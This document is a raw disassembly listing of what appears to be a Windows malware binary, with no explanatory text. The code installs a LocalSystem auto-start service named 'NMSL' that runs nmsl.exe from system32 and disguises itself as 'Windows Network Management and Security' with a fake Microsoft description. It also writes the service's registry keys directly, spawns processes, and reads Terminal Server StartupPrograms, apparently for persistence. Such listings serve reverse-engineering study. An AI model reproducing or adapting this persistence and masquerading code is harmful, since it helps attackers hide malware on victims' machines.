		test	edi, edi
		jz	short loc_44632D
		push	0Ch
		call	sub_4424B3
		pop	ecx
		mov	esi, eax
		mov	eax, [ebp-10h]
		mov	[esi], eax
		mov	ax, [ebp-12h]
		mov	[esi+4], ax
		mov	[esi+8], edi
		push	esi
		push	0
		push	offset sub_404645
		call	sub_44910B
		add	esp, 0Ch
		push	eax
		call	dword_411CFC	; CloseHandle
		jmp	short loc_44632D
; ---------------------------------------------------------------------------


loc_44638C:				; CODE XREF: DMN1:0044633Bj
		push	0
		push	offset dword_411030
		call	dword_411D08	; InterlockedExchange
		push	dword_411034
		call	sub_44292D
		pop	ecx
		and	dword_411034, 0
		call	sub_44919B
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		mov	ebx, [ebp+10h]
		push	44h
		push	0
		lea	eax, [ebp-44h]
		push	eax
		call	sub_448DCB
		add	esp, 0Ch
		mov	dword ptr [ebp-44h], 44h
		test	ebx, ebx
		jz	short loc_4463F5
		push	offset asc_40EDC3 ; "\""
		lea	eax, [ebp-844h]
		push	eax
		call	sub_448E6B
		pop	ecx
		pop	ecx
		jmp	short loc_4463FC
; ---------------------------------------------------------------------------


loc_4463F5:				; CODE XREF: DMN1:004463DEj
		mov	byte ptr [ebp-844h], 0


loc_4463FC:				; CODE XREF: DMN1:004463F3j
		cmp	dword ptr [ebp+8], 0
		jz	short loc_446415
		push	dword ptr [ebp+8]
		lea	eax, [ebp-844h]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		jmp	short loc_446428
; ---------------------------------------------------------------------------


loc_446415:				; CODE XREF: DMN1:00446400j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		lea	eax, [ebp-844h]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx


loc_446428:				; CODE XREF: DMN1:00446413j
		test	ebx, ebx
		jz	short loc_44643F
		push	offset asc_40EDC3 ; "\""
		lea	eax, [ebp-844h]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx


loc_44643F:				; CODE XREF: DMN1:0044642Aj
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_446469
		push	offset asc_40EDA4 ; " "
		lea	eax, [ebp-844h]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-844h]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx


loc_446469:				; CODE XREF: DMN1:00446443j
		lea	eax, [ebp-854h]
		push	eax
		lea	eax, [ebp-44h]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp-844h]
		push	eax
		push	0
		call	dword_411D14	; CreateProcessA
		test	eax, eax
		jz	short loc_4464AE
		push	dword ptr [ebp-850h]
		call	dword_411CFC	; CloseHandle
		push	dword ptr [ebp-854h]
		call	dword_411CFC	; CloseHandle
		xor	eax, eax
		inc	eax


loc_4464AE:				; CODE XREF: DMN1:00446491j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4464B3	proc near		; CODE XREF: DMN1:004473FFp
					; sub_447EEC:loc_448228p ...
		push	ebx
		push	esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48	; OpenSCManagerA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4464FA
		push	4
		push	offset aNmsl	; "NMSL"
		push	ebx
		call	dword_411E4C	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4464E9
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		xor	eax, eax
		jmp	short loc_4464FA
; ---------------------------------------------------------------------------


loc_4464E9:				; CODE XREF: sub_4464B3+29j
		push	esi
		call	dword_411E50	; CloseServiceHandle
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		xor	eax, eax
		inc	eax


loc_4464FA:				; CODE XREF: sub_4464B3+15j
					; sub_4464B3+34j
		pop	esi
		pop	ebx
		retn
sub_4464B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4464FD	proc near		; CODE XREF: sub_447EEC+3C4p

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48	; OpenSCManagerA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_446567
		push	94h
		push	offset aNmsl	; "NMSL"
		push	ebx
		call	dword_411E4C	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_44653D
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		xor	eax, eax
		jmp	short loc_446567
; ---------------------------------------------------------------------------


loc_44653D:				; CODE XREF: sub_4464FD+33j
		xor	edi, edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_411E54	; QueryServiceStatus
		test	eax, eax
		jz	short loc_446557
		cmp	[ebp+var_18], 4
		jnz	short loc_446557
		xor	edi, edi
		inc	edi


loc_446557:				; CODE XREF: sub_4464FD+4Fj
					; sub_4464FD+55j
		push	esi
		call	dword_411E50	; CloseServiceHandle
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		mov	eax, edi


loc_446567:				; CODE XREF: sub_4464FD+1Cj
					; sub_4464FD+3Ej
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4464FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44656E	proc near		; CODE XREF: sub_446603+32p
					; sub_446651+39p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	0
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	dword_411E58	; ChangeServiceConfigA
		test	eax, eax
		jnz	short loc_4465B0
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_4465AC
		or	eax, 0FFFFFFFFh
		jmp	short loc_4465FE
; ---------------------------------------------------------------------------


loc_4465AC:				; CODE XREF: sub_44656E+37j
		xor	eax, eax
		jmp	short loc_4465FE
; ---------------------------------------------------------------------------


loc_4465B0:				; CODE XREF: sub_44656E+2Aj
		mov	[ebp+var_1C], 1
		and	[ebp+var_18], 0
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	2
		push	ebx
		call	dword_411E5C	; ChangeServiceConfig2A
		test	eax, eax
		jnz	short loc_4465FB
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_4465F7
		or	eax, 0FFFFFFFFh
		jmp	short loc_4465FE
; ---------------------------------------------------------------------------


loc_4465F7:				; CODE XREF: sub_44656E+82j
		xor	eax, eax
		jmp	short loc_4465FE
; ---------------------------------------------------------------------------


loc_4465FB:				; CODE XREF: sub_44656E+75j
		xor	eax, eax
		inc	eax


loc_4465FE:				; CODE XREF: sub_44656E+3Cj
					; sub_44656E+40j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44656E	endp


; =============== S U B	R O U T	I N E =======================================



sub_446603	proc near		; CODE XREF: sub_446725+6Dp
					; DMN1:loc_447416p
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48	; OpenSCManagerA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44664D
		push	96h
		push	offset aNmsl	; "NMSL"
		push	ebx
		call	dword_411E4C	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jz	short loc_446644
		push	esi
		call	sub_44656E
		pop	ecx
		mov	edi, eax
		push	esi
		call	dword_411E50	; CloseServiceHandle


loc_446644:				; CODE XREF: sub_446603+2Fj
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		mov	eax, edi


loc_44664D:				; CODE XREF: sub_446603+18j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_446603	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446651	proc near		; CODE XREF: DMN1:00447315p
					; sub_447EEC+428p ...

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48	; OpenSCManagerA
		mov	edi, eax
		test	eax, eax
		jz	loc_44671E
		push	16h
		push	offset aNmsl	; "NMSL"
		push	edi
		call	dword_411E4C	; OpenServiceA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4466AD
		push	ebx
		call	sub_44656E
		pop	ecx
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4466A9
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		push	edi
		call	dword_411E50	; CloseServiceHandle
		mov	eax, esi
		jmp	short loc_44671E
; ---------------------------------------------------------------------------


loc_4466A9:				; CODE XREF: sub_446651+44j
		xor	esi, esi
		jmp	short loc_4466BD
; ---------------------------------------------------------------------------


loc_4466AD:				; CODE XREF: sub_446651+36j
		push	14h
		push	offset aNmsl	; "NMSL"
		push	edi
		call	dword_411E4C	; OpenServiceA
		mov	ebx, eax


loc_4466BD:				; CODE XREF: sub_446651+5Aj
		test	ebx, ebx
		jnz	short loc_4466CC
		push	edi
		call	dword_411E50	; CloseServiceHandle
		xor	eax, eax
		jmp	short loc_44671E
; ---------------------------------------------------------------------------


loc_4466CC:				; CODE XREF: sub_446651+6Ej
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	dword_411E54	; QueryServiceStatus
		test	eax, eax
		jz	short loc_4466E4
		cmp	[ebp+var_18], 4
		jnz	short loc_4466E4
		xor	esi, esi
		inc	esi


loc_4466E4:				; CODE XREF: sub_446651+88j
					; sub_446651+8Ej
		test	esi, esi
		jnz	short loc_44670E
		push	0
		push	0
		push	ebx
		call	dword_411E60	; StartServiceA
		test	eax, eax
		jz	short loc_4466FE
		mov	esi, 2
		jmp	short loc_44670E
; ---------------------------------------------------------------------------


loc_4466FE:				; CODE XREF: sub_446651+A4j
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_44670E
		or	esi, 0FFFFFFFFh


loc_44670E:				; CODE XREF: sub_446651+95j
					; sub_446651+ABj ...
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		push	edi
		call	dword_411E50	; CloseServiceHandle
		mov	eax, esi


loc_44671E:				; CODE XREF: sub_446651+1Ej
					; sub_446651+56j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_446651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446725	proc near		; CODE XREF: DMN1:loc_447427p
					; sub_447EEC+3F3p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_113		= byte ptr -113h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48	; OpenSCManagerA
		mov	esi, eax
		test	eax, eax
		jz	loc_446860
		push	0
		push	0
		push	0
		push	0
		push	0
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	0
		push	2
		push	110h
		push	0F01FFh
		push	offset aWindowsNetwork ; "Windows Network Management and Security"...
		push	offset aNmsl	; "NMSL"
		push	esi
		call	dword_411E64	; CreateServiceA
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4467AD
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 431h
		jnz	short loc_44679F
		push	esi
		call	dword_411E50	; CloseServiceHandle
		call	sub_446603
		xor	eax, eax
		inc	eax
		jmp	loc_446860
; ---------------------------------------------------------------------------


loc_44679F:				; CODE XREF: sub_446725+64j
		push	esi
		call	dword_411E50	; CloseServiceHandle
		xor	eax, eax
		jmp	loc_446860
; ---------------------------------------------------------------------------


loc_4467AD:				; CODE XREF: sub_446725+57j
		push	offset aServiceRegiste ; "service registered\n"
		call	nullsub_4
		pop	ecx
		xor	edi, edi
		inc	edi
		push	0FFh
		push	offset aProvidesSuppor ; "Provides support for Microsoft Windows®"...
		lea	eax, [ebp+var_113]
		push	eax
		call	dword_411D40	; lstrcpyn
		lea	eax, [ebp+var_113]
		mov	[ebp+var_120], eax
		lea	eax, [ebp+var_120]
		push	eax
		push	1
		push	ebx
		call	dword_411E5C	; ChangeServiceConfig2A
		test	eax, eax
		jnz	short loc_446802
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_446802
		or	edi, 0FFFFFFFFh


loc_446802:				; CODE XREF: sub_446725+CBj
					; sub_446725+D8j
		mov	[ebp+var_11C], 1
		and	[ebp+var_118], 0
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		lea	eax, [ebp+var_11C]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	2
		push	ebx
		call	dword_411E5C	; ChangeServiceConfig2A
		test	eax, eax
		jnz	short loc_446850
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_446850
		or	edi, 0FFFFFFFFh


loc_446850:				; CODE XREF: sub_446725+119j
					; sub_446725+126j
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		push	esi
		call	dword_411E50	; CloseServiceHandle
		mov	eax, edi


loc_446860:				; CODE XREF: sub_446725+1Fj
					; sub_446725+75j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_446725	endp


; =============== S U B	R O U T	I N E =======================================



sub_446867	proc near		; CODE XREF: DMN1:0044545Ep
					; sub_447EEC+B0p ...
		push	ebx
		push	esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48	; OpenSCManagerA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4468A9
		push	0F01FFh
		push	offset aNmsl	; "NMSL"
		push	ebx
		call	dword_411E4C	; OpenServiceA
		mov	esi, eax
		push	esi
		call	dword_411E68	; DeleteService
		push	esi
		call	dword_411E50	; CloseServiceHandle
		push	ebx
		call	dword_411E50	; CloseServiceHandle
		xor	eax, eax
		inc	eax


loc_4468A9:				; CODE XREF: sub_446867+15j
		pop	esi
		pop	ebx
		retn
sub_446867	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4468AC	proc near		; CODE XREF: DMN1:00447408p
					; sub_447EEC+40Ap

var_53C		= dword	ptr -53Ch
var_538		= byte ptr -538h
var_534		= byte ptr -534h
var_409		= byte ptr -409h
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h

		push	ebp
		mov	ebp, esp
		sub	esp, 53Ch
		push	ebx
		push	esi
		push	offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_448E6B
		pop	ecx
		pop	ecx
		lea	ebx, [ebp+var_400]
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_448E4B
		pop	ecx
		add	ebx, eax
		push	offset aNmsl	; "NMSL"
		push	ebx
		call	sub_448E6B
		pop	ecx
		pop	ecx
		xor	esi, esi
		lea	eax, [ebp+var_404]
		push	eax
		push	0F003Fh
		push	0
		lea	eax, [ebp+var_400]
		push	eax
		push	80000002h
		call	dword_411E34	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_44697A
		mov	[ebp+var_408], 12Ch
		lea	eax, [ebp+var_408]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_538]
		push	eax
		push	0
		push	offset aImagepath ; "ImagePath"
		push	[ebp+var_404]
		call	dword_411E6C	; RegQueryValueExA
		mov	[ebp+var_53C], eax
		test	eax, eax
		jnz	short loc_44696E
		mov	[ebp+var_409], 0
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		lea	eax, [ebp+var_534]
		push	eax
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_44696E
		xor	esi, esi
		inc	esi


loc_44696E:				; CODE XREF: sub_4468AC+A0j
					; sub_4468AC+BDj
		push	[ebp+var_404]
		call	dword_411E30	; RegCloseKey


loc_44697A:				; CODE XREF: sub_4468AC+64j
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4468AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446982	proc near		; CODE XREF: DMN1:00447411p
					; sub_447EEC+413p

var_40C		= byte ptr -40Ch
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		push	ebx
		push	offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_448E6B
		pop	ecx
		pop	ecx
		lea	ebx, [ebp+var_408]
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_448E4B
		pop	ecx
		add	ebx, eax
		push	offset aNmsl	; "NMSL"
		push	ebx
		call	sub_448E6B
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_40C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_408]
		push	eax
		push	80000002h
		call	dword_411E28	; RegCreateKeyExA
		test	eax, eax
		jnz	loc_446AF7
		mov	[ebp+var_8], 110h
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aType	; "Type"
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		mov	[ebp+var_8], 2
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aStart	; "Start"
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		and	[ebp+var_8], 0
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aErrorcontrol ; "ErrorControl"
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		and	[ebp+var_8], 0
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aErrorcontrol ; "ErrorControl"
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		push	0Ch
		push	offset aLocalsystem ; "LocalSystem"
		push	1
		push	0
		push	offset aObjectname ; "ObjectName"
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		push	offset aWindowsNetwork ; "Windows Network Management and Security"...
		call	sub_448E4B
		pop	ecx
		inc	eax
		push	eax
		push	offset aWindowsNetwork ; "Windows Network Management and Security"...
		push	1
		push	0
		push	offset aDisplayname ; "DisplayName"
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		push	offset aProvidesSuppor ; "Provides support for Microsoft Windows®"...
		call	sub_448E4B
		pop	ecx
		inc	eax
		push	eax
		push	offset aProvidesSuppor ; "Provides support for Microsoft Windows®"...
		push	1
		push	0
		push	offset aDescription ; "Description"
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		call	sub_448E4B
		pop	ecx
		inc	eax
		push	eax
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	1
		push	0
		push	offset aImagepath ; "ImagePath"
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_411E30	; RegCloseKey


loc_446AF7:				; CODE XREF: sub_446982+6Bj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_446982	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	offset a1ea9b031C3014f ; "{1EA9B031-C301-4F76-805F-A41ECF9ED164}"
		push	0
		push	0
		push	0
		call	dword_411D44	; CreateEventA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_446B30
		push	ebx
		call	dword_411D48	; SetEvent
		mov	esi, eax
		push	ebx
		call	dword_411CFC	; CloseHandle
		test	esi, esi
		jz	short loc_446B2E
		xor	eax, eax
		inc	eax
		jmp	short loc_446B30
; ---------------------------------------------------------------------------


loc_446B2E:				; CODE XREF: DMN1:00446B27j
		xor	eax, eax


loc_446B30:				; CODE XREF: DMN1:00446B13j
					; DMN1:00446B2Cj
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446B33	proc near		; CODE XREF: sub_446D40+89p
					; sub_446DD6+CAp ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E28	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_446B85
		push	[ebp+arg_C]
		call	sub_448E4B
		pop	ecx
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_411E30	; RegCloseKey


loc_446B85:				; CODE XREF: sub_446B33+29j
		mov	esp, ebp
		pop	ebp
		retn
sub_446B33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446B89	proc near		; CODE XREF: sub_446C91+3Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_448E4B
		pop	ecx
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_448E4B
		pop	ecx
		mov	ebx, eax
		jmp	short loc_446BCD
; ---------------------------------------------------------------------------


loc_446BAF:				; CODE XREF: sub_446B89+46j
		push	ebx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	1
		push	400h
		call	dword_411D00	; CompareStringA
		cmp	eax, 2
		jnz	short loc_446BCB
		mov	eax, esi
		jmp	short loc_446BD3
; ---------------------------------------------------------------------------


loc_446BCB:				; CODE XREF: sub_446B89+3Cj
		inc	esi
		dec	edi


loc_446BCD:				; CODE XREF: sub_446B89+24j
		cmp	edi, ebx
		jge	short loc_446BAF
		xor	eax, eax


loc_446BD3:				; CODE XREF: sub_446B89+40j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_446B89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446BDA	proc near		; CODE XREF: sub_446C91+23p
					; sub_446D40+4Ap ...

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_10]
		cmp	edi, 1
		jl	short loc_446BF5
		test	esi, esi
		jnz	short loc_446BFC


loc_446BF5:				; CODE XREF: sub_446BDA+15j
		xor	eax, eax
		jmp	loc_446C8A
; ---------------------------------------------------------------------------


loc_446BFC:				; CODE XREF: sub_446BDA+19j
		lea	eax, [ebp+var_8]
		push	eax
		push	0F003Fh
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E34	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_446C1B
		xor	eax, eax
		jmp	short loc_446C8A
; ---------------------------------------------------------------------------


loc_446C1B:				; CODE XREF: sub_446BDA+3Bj
		push	[ebp+arg_4]
		push	offset aRegreadOpenedS ; "RegRead(): opened %s\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	edi
		push	0
		push	esi
		call	sub_448DCB
		add	esp, 0Ch
		lea	eax, [edi-1]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	ebx
		push	[ebp+var_8]
		call	dword_411E6C	; RegQueryValueExA
		mov	[ebp+var_C], eax
		push	[ebp+var_8]
		call	dword_411E30	; RegCloseKey
		cmp	[ebp+var_C], 0
		jnz	short loc_446C7B
		push	esi
		push	ebx
		push	[ebp+var_4]
		push	offset aRegreadReadIBy ; "RegRead(): read %i bytes from	%s (%s)\n"
		call	nullsub_4
		add	esp, 10h
		mov	eax, [ebp+var_4]
		dec	eax
		jmp	short loc_446C8A
; ---------------------------------------------------------------------------


loc_446C7B:				; CODE XREF: sub_446BDA+87j
		push	ebx
		push	offset aRegreadCanTRea ; "RegRead(): can't read key %s\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		xor	eax, eax


loc_446C8A:				; CODE XREF: sub_446BDA+1Dj
					; sub_446BDA+3Fj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_446BDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446C91	proc near		; CODE XREF: sub_446D40+23p
					; sub_446DD6+24p ...

var_2000	= byte ptr -2000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_448F2B
		push	ebx
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_446BDA
		add	esp, 14h
		mov	ebx, eax
		test	eax, eax
		jz	short loc_446CDE
		push	[ebp+arg_C]
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_446B89
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_446CDC
		xor	eax, eax
		inc	eax
		jmp	short loc_446CDE
; ---------------------------------------------------------------------------


loc_446CDC:				; CODE XREF: sub_446C91+44j
		xor	eax, eax


loc_446CDE:				; CODE XREF: sub_446C91+2Fj
					; sub_446C91+49j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_446C91	endp


; =============== S U B	R O U T	I N E =======================================



sub_446CE3	proc near		; CODE XREF: sub_446F6F+1Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	esi, [esp+0Ch+arg_8]
		mov	edi, [esp+0Ch+arg_C]
		test	edi, edi
		jz	short loc_446CFC
		mov	byte ptr [ebx],	22h
		inc	ebx
		jmp	short loc_446CFF
; ---------------------------------------------------------------------------


loc_446CFC:				; CODE XREF: sub_446CE3+11j
		mov	byte ptr [ebx],	0


loc_446CFF:				; CODE XREF: sub_446CE3+17j
		push	[esp+0Ch+arg_4]
		push	ebx
		call	sub_448E6B
		pop	ecx
		pop	ecx
		push	[esp+0Ch+arg_4]
		call	sub_448E4B
		pop	ecx
		add	ebx, eax
		test	edi, edi
		jz	short loc_446D1F
		mov	byte ptr [ebx],	22h
		inc	ebx


loc_446D1F:				; CODE XREF: sub_446CE3+36j
		test	esi, esi
		jz	short loc_446D39
		mov	byte ptr [ebx],	20h
		inc	ebx
		push	esi
		push	ebx
		call	sub_448E6B
		pop	ecx
		pop	ecx
		push	esi
		call	sub_448E4B
		pop	ecx
		add	ebx, eax


loc_446D39:				; CODE XREF: sub_446CE3+3Ej
		mov	byte ptr [ebx],	0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_446CE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446D40	proc near		; CODE XREF: sub_446F6F+78p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_448F2B
		push	ebx
		push	dword_4128A8
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_446C91
		add	esp, 10h
		test	eax, eax
		jnz	short loc_446DD1
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_446BDA
		add	esp, 14h
